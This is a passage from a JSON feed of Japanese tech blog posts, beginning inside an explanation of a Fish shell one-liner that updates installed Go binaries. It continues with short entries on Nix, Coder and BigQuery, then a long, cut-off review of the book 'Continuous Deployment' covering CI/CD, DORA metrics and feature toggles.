GOPATH)/bin:gobinが空の場合(つまりGOBINが設定されていない場合)、GOPATH/binをデフォルトとして使用する。この処理により、GOBINの設定の有無に関わらず適切なディレクトリを使用できる柔軟性を確保している。2. ディレクトリ内のファイル処理for f in $gobin/*; ...; end$gobinディレクトリ内の全ファイルに対してループ処理を行う。これにより、インストールされている全てのGoバイナリを対象に処理を実行できる。3. 実行可能ファイルの選別if test -x $f; ...; endtest -x $fで、ファイル$fが実行可能かどうかをチェックする。これにより、実行可能なバイナリファイルのみを処理対象とし、不要なファイルを除外している。4. パッケージ情報の抽出set pkg (go version -m $f | awk \'/mod /{print $2}\')go version -m $fコマンドでバイナリファイルのモジュール情報を取得し、awkコマンドを使用してパッケージ名を抽出する。この結果をpkg変数に格納する。5. パッケージの更新test -n \\"$pkg\\" && go install \\"$pkg@latest\\"pkg変数が空でないことを確認し、有効なパッケージ名が得られた場合のみgo install \\"$pkg@latest\\"を実行して最新バージョンにアップデートする。このワンライナーの利点環境適応性: GOBINの設定の有無に関わらず動作する。安全性: 実行可能ファイルのみを処理し、有効なパッケージ名が得られた場合のみ更新を試みる。効率性: 一行で全ての処理を完結させ、高速に実行できる。汎用性: 様々なGo開発環境で使用できる。使用上の注意点このワンライナーは、Fishシェル専用である。Bash等の他のシェルでは動作しない。GOPATHが正しく設定されていることを前提としている。大量のパッケージがある場合、実行に時間がかかる可能性がある。まとめ本記事で紹介したワンライナーは、Goプログラマーの日常的なタスクを大幅に簡略化し、開発環境を最新に保つ強力なツールとなる。環境設定の違いに柔軟に対応し、安全かつ効率的にパッケージを更新できる点が大きな魅力だ。このワンライナーを自分の開発フローに組み込むことで、常に最新のGoパッケージを使用した、より効率的で安全な開発が可能になる。ぜひ試してみてほしい。Goプログラミングの世界は日々進化している。このワンライナーを活用し、最新の機能や改善を逃さず、より良いコードを書く手助けとしてほしい。他にいい方法があればおしえてください。","isoDate":"2024-10-09T09:05:10.000Z","dateMiliSeconds":1728464710000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"nix-shellでRを使う","link":"https://blog.atusy.net/2024/10/07/nix-shell-and-r/","contentSnippet":"NixはLinuxやUnix向けのパッケージマネージャーです。nix-env --install Rとしてグローバルに利用可能なRをインストールすることもできますが、nix-shell --package Rして一時的なR環境をbash上に構築することもできます。R本体やパッケージのバージョン指定も可能なので、プロジェクトごとにパッケージのバージョン指定が異なる場合や、グローバル環境にインストールしたパッケージとプロジェクト用パッケージで依存関係が衝突する場合に便利です。","isoDate":"2024-10-07T00:00:00.000Z","dateMiliSeconds":1728259200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-03T01:12:24.000Z","dateMiliSeconds":1727917944000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する","link":"https://sreake.com/blog/platform-engineering-with-cloud-ide-coder/","contentSnippet":"はじめに こんにちは、Sreake事業部の志羅山です。 早いものでもう10月。私が住む長野県はもう朝晩の気温は10℃台となり、日中もとても過ごしやすい気候です。振り返ると今年の夏は天気も不安定で、とても暑い夏でしたね・・ […]The post ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-03T00:44:56.000Z","dateMiliSeconds":1727916296000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQuery データキャンバスについて","link":"https://sreake.com/blog/learn-about-bigquery-datacanvas/","contentSnippet":"はじめに こんにちは。Sreake事業部DBREチームのsenoです。10月に入り、暦の上では秋となりました。とはいえ夏の暑さはまだまだ続いておりますね。 最近は、気持ちだけでも秋を感じるために「〇〇の秋」と称して色々や […]The post BigQuery データキャンバスについて first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-02T09:25:24.000Z","dateMiliSeconds":1727861124000,"authorName":"Sreake","authorId":"Sreake"},{"title":"いいぞいいぞと言われるnixをためしてる","link":"https://blog.atusy.net/2024/10/02/trying-nix/","contentSnippet":"NixはLinuxやUnix向けのパッケージマネージャーです。ぱっと5つメリットをあげるとこんなところでしょうか。様々なLinuxディストリビューションやmacOSで使える再現性がありロールバックも可能入れたいパッケージごとに依存関係を独立して管理するので、Aを入れるにはBのバージョンアップが必要みたいな問題が起きない特定のプロジェクト(ディレクトリ)ごとに使うパッケージを変えられる設定ファイルも含めた構成管理ソフトウェアとしても使える最近、スリーシェイクに転職して、職場のPCがmacOSになりました。以前は仕事もプライベートもmanjaro linuxで統一していたのでとりあえずparuを使えばよかったのですが、そうも言ってられないので、Nixを使ってみることにしました。","isoDate":"2024-10-02T00:00:00.000Z","dateMiliSeconds":1727827200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"継続的デプロイメントの継続的な学習 - Continuous Deployment の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/02/080453","contentSnippet":"自動化は私の忍耐力の限界を補完してくれます。はじめに本書「Continuous Deployment」は、継続的デプロイメントの実践に焦点を当てた包括的なガイドです。継続的デプロイメントは、ソフトウェアパイプラインを完全に自動化し、手動介入を必要としない手法です。この方法により、クオリティーゲートを通過したすべてのコードコミットが自動的に本番環境にデプロイされます。私は、ソフトウェア開発の現場で、オンプレミスの手動デプロイから始まり、Makefileによる自動化、JenkinsやCircleCI、GitHub Actions、GitLab CI/CD、AWS CodePipeline、Cloud Build 、ArgoCD、PipeCDなど、様々なツールや手法を経験してきました。この過程で、継続的デプロイメントが開発プロセスを改善し、ビジネス価値を創出する様子を目の当たりにしました。継続的デプロイメントは、継続的インテグレーション(CI)と継続的デリバリー(CD)の実践をさらに進めたものです。CIは開発者のコード変更を頻繁にメインブランチに統合し、CDはそのコードをいつでもリリース可能な状態に保ちます。継続的デプロイメントでは、すべての変更が自動的に本番環境にデプロイされます。開発者がコードをメインブランチにプッシュまたはマージすると、自動化されたパイプラインがそのコードをビルド、テスト、本番環境へデプロイします。人間による最終承認のステップは存在せず、品質チェックをパスしたすべての変更が即座に本番環境に反映されます。Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software作者:Servile, ValentinaO\'Reilly MediaAmazon本書は、継続的デプロイメントの理論的基礎から実践的適用まで幅広く網羅しています。各章の概念や戦略は、業界の専門家たちの知見に基づいています。特に、フィーチャーフラグ、カナリーリリース、A/Bテストなどの手法は、現代のソフトウェア開発に不可欠です。継続的デプロイメントの価値は、ソフトウェア開発の特性と人間の性質を理解することで明確になります。ソフトウェア開発は多くの小規模で反復的なタスクの集合体です。例えば、設定ファイルの更新後のコード自動生成、コード変更後のビルドとテスト実行、テスト結果のレポート作成、リリース用ファイルの準備とパッケージングなどです。人間はこのような単調な反復作業を得意としません。創造的思考や問題解決には長けていますが、同じタスクを正確に繰り返すことは苦手です。時間とともに集中力が低下し、作業の精度も落ちます。一方、コンピューターシステムはこの種の反復作業に適しています。与えられた指示を疲れることなく、一定の精度で遂行できます。継続的デプロイメントは、人間と機械の特性の違いを活かし、相互補完的に活用します。コード変更から本番環境へのデプロイまでを完全に自動化することで、開発者は創造的な問題解決に注力でき、反復的なタスクはシステムに任せることができます。結果として、ソフトウェア開発プロセス全体の効率が向上し、人的ミスのリスクも減少します。本書は、技術的側面だけでなく、組織文化やチーム間の協力体制についても掘り下げています。また、継続的デプロイメントがもたらすソフトウェアのリリースサイクルの短縮や、ユーザーへのフィードバックループの最小化についても解説しています。同時に、この手法がコードの品質管理やテスト戦略により高い要求を課すことも重要です。本書では、強固な自動テスト、モニタリング、迅速なロールバック機能など、継続的デプロイメントを成功させるために不可欠な安全策についても説明しています。この本を通じて、継続的デプロイメントの本質を理解し、プロジェクトや組織に適用するための実践的なアイデアを得ることができます。以下に、私の読書体験と個人的な見解を交えた感想文を記します。この本は、継続的デプロイメントの理念と実践について詳しく解説しています。技術的な手法の説明だけでなく、ソフトウェア開発の本質と人間の特性を考慮した、効果的な開発プロセスの構築方法を提示しています。私自身、この本を通じて継続的デプロイメントの価値を再認識し、新たな視点を得ることができました。この本は、ソフトウェア開発の将来を示唆する重要な一冊だと確信しています。そのため、来年の「このSRE本がすごい!」にも追加したいと考えています。syu-m-5151.hatenablog.comこの本を通じて、継続的デプロイメントの意義を理解し、開発プロセスを改善するヒントを見出せることを願っています。I. Continuous DeploymentChapter 1. Continuous Deployment第1章「Continuous Deployment」は、継続的デプロイメントの基本概念から始まり、その歴史的背景、重要性、実践哲学、そして「効果的な」継続的デプロイメントの特性に至るまで、幅広いトピックをカバーしています。この章を通じて、継続的デプロイメントの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。継続的デプロイメントの進化と重要性ソフトウェア開発の歴史を振り返ることから始め、かつては月単位や年単位でリリースが行われていた時代から、現在の日次または週次リリースへの変遷を説明しています。この変化は、ビジネスニーズの変化に迅速に対応する必要性から生まれたものです。Figure 1-1. The typical path to production before the early 2000s より引用特に印象的だったのは、「If it hurts, do it more often:痛いなら、もっと頻繁にやればいい」というeXtreme Programming (XP)の原則です。この原則は、痛みを伴うプロセス(例えば、デプロイメント)を頻繁に行うことで、そのプロセスを改善し、最終的には痛みを軽減できるという考え方です。継続的デプロイメントの基本的な思想を表していると言えます。この原則は、私自身の経験とも非常に共鳴します。例えば、以前参加していたプロジェクトでは、月に1回の大規模なリリースが常にストレスフルで、多くのバグや障害を引き起こしていました。そこで、我々はリリース頻度を週1回に増やし、各リリースの規模を小さくしました。最初は大変でしたが、徐々にプロセスが改善され、最終的にはリリース作業が日常的な業務の一部になりました。これにより、バグの早期発見や迅速な修正が可能になり、システムの安定性が大幅に向上しました。DevOpsとの関連性DevOpsの概念と継続的デプロイメントの関係性についても詳しく説明しています。DevOpsは、開発(Dev)と運用(Ops)の壁を取り払い、両者の協力を促進する文化や実践を指します。継続的デプロイメントを実現する上で不可欠な要素です。DevOpsの実践は、継続的デプロイメントを支える重要な基盤となります。例えば、インフラストラクチャのコード化(Infrastructure as Code)は、環境の一貫性を保ち、デプロイメントの自動化を可能にします。また、モニタリングやロギングの改善は、迅速なフィードバックループを確立し、問題の早期発見と解決を支援します。私の経験から、DevOpsの実践は継続的デプロイメントの成功に不可欠だと強く感じています。以前、開発チームと運用チームが分断されていた組織で働いていましたが、デプロイメントの度に混乱が生じ、問題の解決に時間がかかっていました。DevOpsの原則を導入し、両チームが協力してデプロイメントパイプラインを設計・実装することで、プロセスが大幅に改善されました。特に、開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、より堅牢で管理しやすいシステムが構築できるようになりました。継続的インテグレーションと継続的デリバリー継続的インテグレーション(CI)と継続的デリバリー(CD)について詳しく説明し、これらが継続的デプロイメントの前身となる重要な実践であることを強調しています。CIは、開発者の変更を頻繁にメインブランチに統合する実践です。これにより、統合の問題を早期に発見し、修正することが可能になります。CDは、CIをさらに発展させ、ソフトウェアをいつでもリリース可能な状態に保つ実践です。この辺は読んだことがない場合にはこちらの書籍がおすすめである。Grokking Continuous Delivery (English Edition)作者:Wilson, ChristieManningAmazon日本語版もあるので入門 継続的デリバリー ―テストからリリースまでを安全に自動化するソフトウェアデリバリーのプロセス作者:Christie WilsonオライリージャパンAmazonこれらの説明は、経験してきたCIとCDの導入過程と非常に一致しています。例えば、以前のプロジェクトでは、開発者が長期間にわたって個別のブランチで作業し、統合時に大きな問題に直面することがよくありました。CIを導入し、小さな変更を頻繁に統合するようにしたことで、これらの問題は大幅に減少しました。CDの導入は、さらに大きな変化をもたらしました。以前は、リリース前の数日間を集中的なテストとバグ修正に費やしていましたが、CDを導入することで、ソフトウェアが常にリリース可能な状態を維持できるようになりました。これにより、リリースのストレスが大幅に軽減され、新機能や修正をより迅速にユーザーに届けられるようになりました。継続的デプロイメントの定義と実装継続的デプロイメントを「コミットがメインブランチにプッシュまたはマージされると、すべてのクオリティーゲートが緑色である限り、必ず本番デプロイメントが行われる」と定義しています。CI/CDの次の進化段階と言えるでしょう。Figure 1-2. The typical path to production today より引用継続的デプロイメントの実装は、一見シンプルに見えます。著者が説明するように、既存のCDパイプラインの本番デプロイメントステップを再構成するだけで済む場合が多いからです。しかし、これは技術的な実装の話で、課題は組織文化や開発プラクティスの変革にあります。私の経験から、継続的デプロイメントへの移行は技術的な課題よりも、組織的・文化的な課題の方が大きいと感じています。例えば、あるプロジェクトで継続的デプロイメントを導入しようとした際、技術的な準備は比較的容易でしたが、チームメンバーの不安やステークホルダーの抵抗に直面しました。特に、「本番環境に直接デプロイすることの危険性」や「品質管理の不安」といった懸念が大きかったです。これらの課題を克服するためには、段階的なアプローチと綿密なコミュニケーションが不可欠でした。まず、小規模なサービスから始めて成功事例を作り、徐々に規模を拡大していきました。また、自動テストの拡充や監視の強化を行い、問題が発生しても迅速に検知・対応できる体制を整えました。さらに、チーム全体でのレビュープロセスの改善や、フィーチャーフラグの活用など、コードの品質を担保するための施策も導入しました。継続的デプロイメントの影響と課題継続的デプロイメントの採用が開発プロセス全体に与える影響について詳しく説明しています。例えば、未完成のコードの隠蔽方法、後方互換性の確保、他の本番サービスとの契約の維持、デプロイメントとフィーチャーリリースの分離などの課題が挙げられています。これらの課題は、私の経験とも深く共鳴します。例えば、継続的デプロイメントを導入した際、未完成の機能をどのように本番環境に安全にデプロイするかが大きな課題となりました。この問題に対処するため、我々はフィーチャーフラグを積極的に活用し、コード自体は本番環境にデプロイしつつ、機能の有効化は制御できるようにしました。これにより、大規模な変更でも段階的なロールアウトが可能になり、リスクを最小限に抑えることができました。また、後方互換性の確保も重要な課題でした。特に、マイクロサービスアーキテクチャを採用している環境では、サービス間の整合性を維持することが不可欠です。この課題に対しては、APIのバージョニング戦略の導入や、コンシューマー駆動契約テスト(Consumer-Driven Contract Testing)の実施など、複数のアプローチを組み合わせて対応しました。継続的デプロイメントのリスクと安全性継続的デプロイメントのリスクについても率直に触れています。各変更が即座に本番環境に反映されるため、不適切な変更が複雑なサービス網に影響を与える可能性があります。このリスクへの対処は、重要な責務の一つです。私の経験では、以下のような戦略が効果的でした:段階的なロールアウト:カナリアリリースやブルー/グリーンデプロイメントを活用し、変更の影響を限定的に確認できるようにしました。自動ロールバック:問題が検出された場合に自動的に前のバージョンに戻すメカニズムを実装しました。高度な監視と警報:詳細なメトリクスの収集と、異常を即座に検知できる警報システムを構築しました。カオスエンジニアリング:意図的に障害を注入し、システムの回復力を継続的にテストしました。これらの施策により、継続的デプロイメントのリスクを大幅に軽減し、同時にシステムの信頼性と回復力を向上させることができました。結論継続的デプロイメントが単なる技術的な実装以上のもので、ソフトウェア開発プロセス全体の再考を要する実践であることを強調しています。継続的デプロイメントは、開発サイクルを劇的に短縮し、フィードバックループを最小化することで、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めています。しかし、その実現には技術的な課題だけでなく、組織文化や開発プラクティスの根本的な変革が必要です。私の経験から、継続的デプロイメントの成功には複数の要素が不可欠だと考えています。まず、テスト、デプロイメント、監視のあらゆる面で強力な自動化を推進することが重要です。これにより、人為的ミスを減らし、プロセスの一貫性と速度を向上させることができます。次に、「本番環境に直接デプロイする」という責任を全員が理解し、高品質なコードを書くことへの強いコミットメントが必要です。これは単なる技術的スキルだけでなく、チーム全体の姿勢の問題でもあります。さらに、問題が発生した際に責任追及ではなく、システム改善の機会として捉える文化を醸成することが重要です。失敗から学び、それを今後の改善につなげる姿勢が、継続的な進歩を可能にします。最後に、デプロイメントプロセスや関連するプラクティスを常に見直し、改善し続けることが不可欠です。技術や環境の変化に合わせて、常にプロセスを最適化していく必要があります。継続的デプロイメントは、ソフトウェア開発の未来を象徴する実践です。その導入には多くの課題がありますが、適切に実装することで、開発効率の向上、市場投入までの時間短縮、そしてより高品質なソフトウェアの提供が可能になります。この章は、継続的デプロイメントの本質を理解し、その実践に向けた第一歩を踏み出すための貴重なガイドとなっています。Chapter 2. Benefits第2章「Benefits」は、継続的デプロイメントがもたらす利点について深く掘り下げています。継続的デプロイメントが単なる技術的な進歩ではなく、ソフトウェア開発プロセス全体を根本から変革する可能性を持つ実践であることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発の効率性、品質、そして組織文化にどのような影響を与えるかが明確に示されています。リーン生産方式とOne-Piece Flow継続的デプロイメントの利点を説明するにあたり、まずリーン生産方式の概念から始めています。これは非常に興味深いアプローチだと感じました。ソフトウェア開発と製造業の類似性を指摘することで、継続的デプロイメントの本質的な価値がより明確になります。Figure 2-1. Batch and queue versus one-piece flow より引用特に印象的だったのは、One-Piece Flowの概念です。これは、大きなバッチ処理ではなく、一つの単位(この場合はコミット)ごとに処理を行うという考え方です。この概念がソフトウェア開発にも適用可能で、継続的デプロイメントこそがその実現方法だと主張しています。私の経験からも、この考え方は非常に有効だと感じています。以前、大規模なモノリシックアプリケーションの開発に携わっていた際、月に1回の大規模リリースが常に問題の種でした。バグの混入や、リリース後の予期せぬ問題の発生が頻繁に起こっていました。そこで、マイクロサービスアーキテクチャへの移行と同時に継続的デプロイメントを導入しました。結果として、各サービスが独立してデプロイできるようになり、One-Piece Flowに近い状態を実現できました。これにより、問題の早期発見と修正が可能になり、システム全体の安定性が大幅に向上しました。ソフトウェア開発におけるバッチサイズとトランザクションコストの関係についても言及しています。これは非常に重要な指摘です。継続的デプロイメントを実現するためには、デプロイメントプロセス自体のコストを下げる必要があります。私たちのチームでは、デプロイメントパイプラインの最適化と自動化に力を入れました。具体的には、テストの並列実行、キャッシュの効果的な利用、そしてコンテナ技術の活用により、デプロイメント時間を大幅に短縮することができました。DORA Metrics継続的デプロイメントの利点を説明する上で、DORA(DevOps Research and Assessment)の4つの主要メトリクスを用いています。これらのメトリクスは、デプロイ頻度、リードタイム、平均復旧時間(MTTR)、変更失敗率です。Figure 2-10. The DORA metrics より引用デプロイ頻度に関して、著者は継続的デプロイメントによってこれが劇的に向上すると主張しています。私の経験からも、これは間違いなく事実です。ある大規模なEコマースプラットフォームの開発で、継続的デプロイメントを導入した結果、デプロイ頻度が週1回から1日に複数回へと増加しました。これにより、新機能のリリースやバグ修正のスピードが大幅に向上し、ユーザー満足度の向上にもつながりました。リードタイムについても、著者の主張は的を射ています。継続的デプロイメントにより、コードがコミットされてから本番環境にデプロイされるまでの時間が大幅に短縮されます。私たちのチームでは、この時間を平均で15分以内に抑えることができました。これにより、開発者はより迅速にフィードバックを得ることができ、問題の早期発見と修正が可能になりました。MTTRの改善も、継続的デプロイメントの重要な利点の一つです。著者が指摘するように、小さな変更を頻繁にデプロイすることで、問題が発生した際の原因特定と修正が容易になります。私たちのチームでは、この原則を徹底することで、MTTRを数時間から数分へと劇的に短縮することができました。変更失敗率に関しては、著者の主張に若干の疑問を感じました。確かに、小さな変更を頻繁に行うことで、各変更のリスクは低下します。しかし、変更の総数が増えることで、全体としての失敗の機会も増える可能性があります。この点については、強力な自動テストと段階的なロールアウト戦略(カナリアリリースやブルー/グリーンデプロイメントなど)が不可欠だと考えています。『LeanとDevOpsの科学』が好きですが、本書が参照している研究データが徐々に古くなってきていることも事実です。DevOpsの分野は急速に進化しているため、最新の動向やベストプラクティスを反映した新しい版や補完的な書籍が出版されることを期待しています。LeanとDevOpsの科学[Accelerate] テクノロジーの戦略的活用が組織変革を加速する impress top gearシリーズ作者:Nicole Forsgren Ph.D.,Jez Humble,Gene Kim,武舎広幸,武舎るみインプレスAmazon特に、DevOpsに関する最新の情報や研究結果は非常に興味深いです。Googleは継続的にDevOpsの実践とその効果について調査を行っており、その知見は業界全体に大きな影響を与えています。cloud.google.com『Science Fictions あなたが知らない科学の真実』ほど極端ではありませんが、DevOpsの分野でも最新のデータに基づいた考察や、従来の常識を覆すような新しい発見があれば、非常に興味深いでしょう。例えば、AIや機械学習がDevOps実践にどのような影響を与えているか、あるいはクラウドネイティブ環境での新しいベストプラクティスなどについて、詳細な分析と考察が読みたいと思います。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社AmazonDevOpsの分野は常に進化しているため、継続的な学習と最新情報のキャッチアップが不可欠です。新しい書籍や研究結果が出版されることで、私たちの知識をアップデートし、より効果的なDevOps実践につなげていけることを期待しています。Quality Shift Left継続的デプロイメントが「Quality Shift Left」、つまり品質保証プロセスを開発サイクルの早い段階に移動させる効果があると主張しています。これは非常に重要な指摘です。私の経験からも、継続的デプロイメントを導入することで、開発者の品質に対する意識が大きく変わりました。以前は「とりあえず動けばいい」という態度の開発者も少なくありませんでしたが、自分のコードが即座に本番環境にデプロイされることを意識することで、より慎重にコードを書くようになりました。具体的には、ユニットテストやインテグレーションテストの充実、コードレビューの徹底、そして静的解析ツールの活用などが日常的に行われるようになりました。また、パフォーマンスやセキュリティの考慮も、開発の初期段階から行われるようになりました。例えば、あるプロジェクトでは、継続的デプロイメントの導入と同時に、すべてのプルリクエストに対して自動的にセキュリティスキャンを実行するようにしました。これにより、脆弱性の早期発見と修正が可能になり、本番環境のセキュリティが大幅に向上しました。また、観測可能性(Observability)の向上も、Quality Shift Leftの重要な側面です。継続的デプロイメントを効果的に行うためには、システムの状態を常に把握し、問題をすぐに検知できる必要があります。そのため、ログ、メトリクス、トレースなどの観測可能性に関する機能を、アプリケーションの設計段階から組み込むようになりました。これにより、本番環境での問題の早期発見と迅速な対応が可能になりました。「Quality Shift Left」は読んでいて『動作するきれいなコード』を思い出したのであわせて読んでほしい。t-wada.hatenablog.jp継続的デプロイメントの課題と対策著者は継続的デプロイメントの利点を強調していますが、その実現には多くの課題があることも事実です。私の経験から、以下のような課題と対策が重要だと考えています。1. インフラストラクチャの整備:継続的デプロイメントを実現するためには、柔軟で信頼性の高いインフラストラクチャが不可欠です。クラウドネイティブ技術の活用、特にKubernetesなどのコンテナオーケストレーションツールの導入が有効です。これにより、デプロイメントの一貫性と信頼性を確保できます。2. テスト戦略の見直し:継続的デプロイメントでは、自動化されたテストが非常に重要になります。単体テスト、統合テスト、エンドツーエンドテストなど、複数のレベルでのテストを適切に組み合わせる必要があります。また、カオスエンジニアリングの手法を取り入れ、本番環境に近い状況でのテストも重要です。3. フィーチャーフラグの活用:未完成の機能や大規模な変更を安全にデプロイするために、フィーチャーフラグは非常に有効です。これにより、コードはデプロイしつつ、機能の有効化は制御することができます。4. モニタリングと警告の強化:継続的デプロイメントでは、問題を早期に検知し、迅速に対応することが重要です。詳細なメトリクスの収集、異常検知の自動化、そして効果的な警告システムの構築が必要です。5. ロールバック戦略の確立:問題が発生した際に、迅速かつ安全にロールバックできる仕組みが必要です。これには、データベースのマイグレーション戦略や、APIのバージョニング戦略なども含まれます。6. 組織文化の変革:継続的デプロイメントは技術的な変更だけでなく、組織文化の変革も必要とします。開発者の責任範囲の拡大、チーム間の協力体制の強化、そして失敗を学びの機会として捉える文化の醸成が重要です。これらの課題に対処することで、継続的デプロイメントの利点を最大限に活かすことができます。Kubernetesでどのように実践するかは『Platform Engineering on Kubernetes』が良いのでおすすめです。syu-m-5151.hatenablog.com結論第2章は、継続的デプロイメントがもたらす多様な利点を包括的に説明しています。リーン生産方式の原則からDORAメトリクス、そしてQuality Shift Leftまで、著者は継続的デプロイメントが単なるデプロイ手法の改善ではなく、ソフトウェア開発プロセス全体を変革する可能性を持つことを明確に示しています。私の経験からも、継続的デプロイメントの導入は組織に大きな変革をもたらします。開発速度の向上、品質の改善、そして組織文化の変革など、その影響は多岐にわたります。しかし、その実現には多くの課題があることも事実です。技術的な課題はもちろん、組織文化の変革も必要となります。継続的デプロイメントは、現代のソフトウェア開発において重要な実践の一つです。特に、マイクロサービスアーキテクチャやクラウドネイティブ開発が主流となる中で、その重要性はますます高まっています。しかし、それを効果的に実践するためには、単に技術を導入するだけでなく、組織全体でその価値を理解し、必要な変革を行う覚悟が必要です。この章を読んで、改めて継続的デプロイメントの重要性と、それを実現するための課題について深く考えさせられました。今後の実務においても、ここで学んだ原則や実践を積極的に取り入れ、より効率的で品質の高いソフトウェア開発を目指していきたいと思います。Chapter 3. The Mindset Shift第3章「The Mindset Shift」は、継続的デプロイメントを実践する上で必要な思考の転換について深く掘り下げています。継続的デプロイメントが単なる技術的な実装の問題ではなく、開発者の日々の作業方法や考え方を根本から変える必要があることを強調しています。この章を通じて、継続的デプロイメントがソフトウェア開発プロセス全体にどのような影響を与え、どのような課題をもたらすか、そしてそれらにどう対処すべきかが明確に示されています。変更の定義と適用の融合著者はまず、継続的デプロイメントによって「変更の定義」と「変更の適用」が一体化することの重要性を指摘しています。これは、私自身の経験とも強く共鳴する点です。従来のアプローチでは、コードの変更とその本番環境への適用は別々のプロセスでした。しかし、継続的デプロイメントでは、コードをコミットした瞬間に本番環境への適用が始まります。この変化は、開発者の心理に大きな影響を与えます。以前は「とりあえずコミットして、後で誰かがチェックしてくれるだろう」という甘い考えがあったかもしれません。しかし、継続的デプロイメントでは、コミットした瞬間にそのコードが本番環境に向かって動き出すのです。これは、開発者に対して「常に本番環境を意識せよ」というメッセージを突きつけます。私が以前携わっていた大規模なEコマースプラットフォームの開発では、この変化が顕著に表れました。継続的デプロイメントを導入した当初、チームメンバーの多くが「本当にこのコミットで大丈夫か」と不安を感じていました。しかし、時間が経つにつれ、この不安は健全な緊張感へと変わっていきました。結果として、コードの品質が向上し、本番環境での問題が大幅に減少しました。著者が電気工事の例えを用いていることに、非常に共感します。確かに、継続的デプロイメントは、稼働中のシステムに手を加えるようなものです。この類推は、特にマイクロサービスアーキテクチャのような複雑なシステムで作業する際に非常に適切です。各サービスが独立してデプロイされる環境では、一つの変更が思わぬ影響を及ぼす可能性があります。そのため、変更の影響範囲を常に意識し、安全性を確保しながら作業を進めることが重要になります。進行中の作業の隠蔽著者は次に、進行中の作業を隠蔽することの重要性について述べています。これは、継続的デプロイメントを実践する上で非常に重要な概念です。フィーチャートグルやExpand and Contract(別名Parallel Change)パターンの紹介は、非常に有用です。Figure 3-18. The expand and contract pattern applied across a provider and consumer system より引用フィーチャートグルの活用は、特に大規模で複雑なシステムにおいて重要です。私が以前携わっていた金融系システムでは、フィーチャートグルを活用することで、大規模な機能変更を段階的にロールアウトすることができました。例えば、新しい取引処理エンジンを導入する際、まずは一部のユーザーや取引タイプに対してのみ新機能を有効にし、徐々にその範囲を広げていきました。これにより、潜在的な問題を早期に発見し、迅速に対応することができました。 speakerdeck.comExpand and Contractパターンも、特にマイクロサービスアーキテクチャにおいて非常に有効です。APIの変更や、データベーススキーマの変更など、後方互換性を保ちながら大きな変更を行う際に重宝します。私の経験では、このパターンを使用することで、サービス間の依存関係を適切に管理し、段階的な移行を実現することができました。ここで著者が指摘している重要な点は、これらの技術が単なる開発テクニックではなく、継続的デプロイメントを可能にする根幹的な実践だということです。これらの技術を適切に使用することで、大規模な変更でさえも、小さな安全な変更の連続として実装することができます。分散システムにおける契約管理分散システムにおける契約管理の重要性について詳しく説明しています。これは、特にマイクロサービスアーキテクチャを採用している環境では非常に重要なトピックです。継続的デプロイメントを実践する中で、私が最も難しいと感じたのは、複数のサービス間の依存関係の管理でした。例えば、あるサービスのAPIを変更する際、そのAPIを利用している他のサービスとの整合性をどう保つかが大きな課題となります。著者が指摘するように、フォーマルな契約とインフォーマルな契約の区別は非常に重要です。私の経験では、チーム内で管理されるインフォーマルな契約こそが、最も注意を要するものでした。例えば、同じチームが管理するフロントエンドとバックエンドのAPI契約は、しばしばドキュメント化されず、暗黙の了解として扱われがちです。しかし、継続的デプロイメントの環境では、こうした暗黙の契約も明示的に管理する必要があります。この課題に対処するため、私たちのチームでは、Consumer-Driven Contract Testingを導入しました。これにより、サービス間の契約を自動的にテストし、破壊的な変更を早期に検出できるようになりました。また、APIのバージョニング戦略を導入し、新旧のAPIバージョンを一定期間共存させることで、クライアントの段階的な移行を可能にしました。デプロイメントとリリースの分離著者が強調するデプロイメントとリリースの分離は、継続的デプロイメントを成功させる上で非常に重要なポイントです。私の経験では、デプロイメントとリリースを明確に分離することで、システムの安定性と柔軟性が大幅に向上しました。例えば、新機能をデプロイしても、フィーチャートグルによってすぐには有効化せず、システムの状態を監視しながら徐々にロールアウトすることができました。これにより、問題が発生した場合でも、コードのロールバックではなく、単にフィーチャートグルを無効にするだけで対処できるようになりました。また、この分離により、デプロイメントの頻度を上げつつ、リリースのタイミングをビジネス要件に合わせて調整することが可能になりました。これは、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に重要です。エンドツーエンドのデリバリーライフサイクル著者が提示するエンドツーエンドのデリバリーライフサイクルの変化は、継続的デプロイメントがもたらす最も大きな影響の一つだと感じます。従来のアプローチでは、開発、テスト、デプロイメントが明確に分離されていましたが、継続的デプロイメントではこれらのフェーズが融合します。私のチームでは、この変化に適応するため、クロスファンクショナルなチーム構成を採用しました。開発者、テスター、運用担当者が緊密に連携し、機能の設計から本番環境での監視まで一貫して責任を持つようにしました。これにより、問題の早期発見と迅速な対応が可能になりました。また、このアプローチは観測可能性(Observability)の向上にも大きく貢献しました。開発者が本番環境の状態を常に意識するようになったことで、ログやメトリクスの設計が改善され、問題の診断と解決が容易になりました。結論第3章「The Mindset 